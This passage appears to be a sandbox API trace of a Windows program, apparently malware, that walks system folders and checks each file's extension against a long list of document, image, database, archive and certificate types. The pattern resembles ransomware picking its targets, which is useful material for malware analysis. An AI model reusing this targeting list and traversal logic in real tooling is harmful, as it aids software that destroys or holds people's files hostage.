ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0195.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.167] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.167] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.167] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.167] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.168] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0195.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.168] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.168] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.168] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.168] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.168] FindNextFileW (in: hFindFile=0x5410b0, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0195.168] FindClose (in: hFindFile=0x5410b0 | out: hFindFile=0x5410b0) returned 1 [0195.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39206e0 | out: hHeap=0x4f0000) returned 1 [0195.170] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0195.170] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.170] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.170] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.170] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.171] FindClose (in: hFindFile=0x541030 | out: hFindFile=0x541030) returned 1 [0195.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.171] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0195.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.171] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="\x50b8\x54\x16")) returned 0xffffffff [0196.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0196.666] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x351fd00 | out: lpFindFileData=0x351fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0196.704] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0196.705] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0198.833] FindNextFileW (in: hFindFile=0x3ed1080, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.833] FindNextFileW (in: hFindFile=0x3ed1080, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0198.833] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0198.833] lstrcmpiW (lpString1=".3ds", lpString2=".msi") returned -1 [0198.833] lstrcmpiW (lpString1=".3fr", lpString2=".msi") returned -1 [0198.833] lstrcmpiW (lpString1=".3g2", lpString2=".msi") returned -1 [0198.834] lstrcmpiW (lpString1=".3gp", lpString2=".msi") returned -1 [0198.834] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accda", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accdb", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accdc", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accde", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accdt", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".accdw", lpString2="UI.msi") returned -1 [0198.834] lstrcmpiW (lpString1=".adb", lpString2=".msi") returned -1 [0198.834] lstrcmpiW (lpString1=".adp", lpString2=".msi") returned -1 [0198.834] lstrcmpiW (lpString1=".ai", lpString2="msi") returned -1 [0198.834] lstrcmpiW (lpString1=".ai3", lpString2=".msi") returned -1 [0198.834] lstrcmpiW (lpString1=".ai4", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".ai5", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".ai6", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".ai7", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".ai8", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".anim", lpString2="I.msi") returned -1 [0198.835] lstrcmpiW (lpString1=".arw", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".as", lpString2="msi") returned -1 [0198.835] lstrcmpiW (lpString1=".asa", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".asc", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".ascx", lpString2="I.msi") returned -1 [0198.835] lstrcmpiW (lpString1=".asm", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".asmx", lpString2="I.msi") returned -1 [0198.835] lstrcmpiW (lpString1=".asp", lpString2=".msi") returned -1 [0198.835] lstrcmpiW (lpString1=".aspx", lpString2="I.msi") returned -1 [0198.836] lstrcmpiW (lpString1=".asr", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".asx", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".avs", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".backup", lpString2="MUI.msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bak", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bay", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bd", lpString2="msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bin", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bmp", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".c", lpString2="si") returned -1 [0198.836] lstrcmpiW (lpString1=".cdr", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".cer", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".cf", lpString2="msi") returned -1 [0198.836] lstrcmpiW (lpString1=".cfc", lpString2=".msi") returned -1 [0198.836] lstrcmpiW (lpString1=".cfm", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".cfml", lpString2="I.msi") returned -1 [0198.837] lstrcmpiW (lpString1=".cfu", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".chm", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".cin", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".class", lpString2="UI.msi") returned -1 [0198.837] lstrcmpiW (lpString1=".clx", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".config", lpString2="MUI.msi") returned -1 [0198.837] lstrcmpiW (lpString1=".cpp", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".cr2", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".crt", lpString2=".msi") returned -1 [0198.837] lstrcmpiW (lpString1=".crw", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".cs", lpString2="msi") returned -1 [0198.838] lstrcmpiW (lpString1=".css", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".csv", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".cub", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dae", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dat", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".db", lpString2="msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dbx", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dc3", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dcm", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dcr", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".der", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dib", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dic", lpString2=".msi") returned -1 [0198.838] lstrcmpiW (lpString1=".dif", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".divx", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".djvu", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dng", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".docm", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dot", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dotm", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dotx", lpString2="I.msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dpx", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dqy", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dsn", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dt", lpString2="msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dtd", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dwg", lpString2=".msi") returned -1 [0198.839] lstrcmpiW (lpString1=".dwt", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".dx", lpString2="msi") returned -1 [0198.840] lstrcmpiW (lpString1=".dxf", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".edml", lpString2="I.msi") returned -1 [0198.840] lstrcmpiW (lpString1=".efd", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".elf", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".emz", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".epf", lpString2=".msi") returned -1 [0198.840] lstrcmpiW (lpString1=".eps", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".epsf", lpString2="I.msi") returned -1 [0198.841] lstrcmpiW (lpString1=".epsp", lpString2="I.msi") returned -1 [0198.841] lstrcmpiW (lpString1=".erf", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".exr", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".f4v", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".fido", lpString2="I.msi") returned -1 [0198.841] lstrcmpiW (lpString1=".flm", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".flv", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".frm", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".fxg", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".geo", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".grs", lpString2=".msi") returned -1 [0198.841] lstrcmpiW (lpString1=".gz", lpString2="msi") returned -1 [0198.841] lstrcmpiW (lpString1=".h", lpString2="si") returned -1 [0198.842] lstrcmpiW (lpString1=".hdr", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".hpp", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".hta", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".htc", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".html", lpString2="I.msi") returned -1 [0198.842] lstrcmpiW (lpString1=".icb", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".ics", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".iff", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".inc", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".indd", lpString2="I.msi") returned -1 [0198.842] lstrcmpiW (lpString1=".ini", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".iqy", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".j2c", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".j2k", lpString2=".msi") returned -1 [0198.842] lstrcmpiW (lpString1=".java", lpString2="I.msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jp2", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpc", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpe", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpeg", lpString2="I.msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpf", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jpx", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".js", lpString2="msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jsf", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".json", lpString2="I.msi") returned -1 [0198.843] lstrcmpiW (lpString1=".jsp", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".kdc", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".kmz", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".kwm", lpString2=".msi") returned -1 [0198.843] lstrcmpiW (lpString1=".lasso", lpString2="UI.msi") returned -1 [0198.844] lstrcmpiW (lpString1=".lbi", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".lgf", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".lgp", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".log", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".m1v", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".m4a", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".m4v", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".max", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".md", lpString2="msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mda", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mdb", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mde", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mdf", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mdw", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mef", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mft", lpString2=".msi") returned -1 [0198.844] lstrcmpiW (lpString1=".mfw", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mht", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mhtml", lpString2="UI.msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mka", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mkidx", lpString2="UI.msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mkv", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mos", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mov", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mp3", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mp4", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mpeg", lpString2="I.msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mpg", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mpv", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mrw", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".msg", lpString2=".msi") returned -1 [0198.845] lstrcmpiW (lpString1=".mxl", lpString2=".msi") returned 1 [0198.845] lstrcmpiW (lpString1=".myd", lpString2=".msi") returned 1 [0198.845] lstrcmpiW (lpString1=".myi", lpString2=".msi") returned 1 [0198.845] lstrcmpiW (lpString1=".nef", lpString2=".msi") returned 1 [0198.845] lstrcmpiW (lpString1=".nrw", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".obj", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".odb", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".odc", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".odm", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".odp", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".ods", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".oft", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".one", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.msi") returned -1 [0198.846] lstrcmpiW (lpString1=".onetoc2", lpString2="eMUI.msi") returned -1 [0198.846] lstrcmpiW (lpString1=".opt", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".oqy", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".orf", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".p12", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".p7b", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".p7c", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".pam", lpString2=".msi") returned 1 [0198.846] lstrcmpiW (lpString1=".pbm", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pct", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pcx", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pdd", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pdp", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pef", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pem", lpString2=".msi") returned 1 [0198.847] lstrcmpiW (lpString1=".pff", 